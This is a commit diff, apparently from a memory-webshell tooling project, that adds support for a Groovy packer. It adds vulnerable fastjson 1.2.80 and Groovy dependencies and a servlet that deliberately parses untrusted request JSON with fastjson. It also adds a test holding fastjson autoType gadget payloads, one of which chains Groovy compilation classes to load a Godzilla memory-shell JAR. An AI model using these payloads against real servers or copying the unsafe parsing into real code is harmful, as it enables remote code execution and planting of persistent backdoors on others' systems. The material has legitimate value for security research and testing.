mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support GroovyTransformJar packer
This commit is contained in:
@@ -31,6 +31,8 @@ dependencies {
|
||||
implementation("org.yaml:snakeyaml:1.27")
|
||||
implementation("com.alibaba:fastjson:1.2.47")
|
||||
implementation("com.fasterxml.jackson.core:jackson-databind:2.8.0")
|
||||
implementation("org.codehaus.groovy:groovy:3.0.6")
|
||||
implementation("com.alibaba:fastjson:1.2.80")
|
||||
implementation("xalan:xalan:2.7.2")
|
||||
providedCompile("javax.servlet:javax.servlet-api:3.1.0")
|
||||
testImplementation(libs.junit.jupiter)
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
import com.alibaba.fastjson.JSONObject;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.annotation.WebServlet;
|
||||
import javax.servlet.http.HttpServlet;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/06
|
||||
*/
|
||||
@WebServlet("/fastjson")
|
||||
public class FastjsonServlet extends HttpServlet {
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
String data = req.getParameter("data");
|
||||
try {
|
||||
JSONObject.parse(data);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
import com.alibaba.fastjson.JSONObject;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/6
|
||||
*/
|
||||
class FastjsonServletTest {
|
||||
@Test
|
||||
void test() {
|
||||
String json = "{\n" +
|
||||
" \"@type\":\"java.lang.Exception\",\n" +
|
||||
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
|
||||
" \"unit\":{\n" +
|
||||
" }\n" +
|
||||
"}";
|
||||
|
||||
try {
|
||||
JSONObject.parse(json);
|
||||
} catch (Exception e) {
|
||||
//e.printStackTrace();
|
||||
}
|
||||
String data = "{\n" +
|
||||
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
|
||||
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
|
||||
" \"config\":{\n" +
|
||||
" \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
|
||||
" \"classpathList\":[\"file:/Users/reajason/Downloads/TomcatGodzillaMemShell.jar\"]\n" +
|
||||
" },\n" +
|
||||
" \"gcl\":null,\n" +
|
||||
" \"destDir\": \"/tmp\"\n" +
|
||||
"}";
|
||||
// JSONObject.parse(data);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user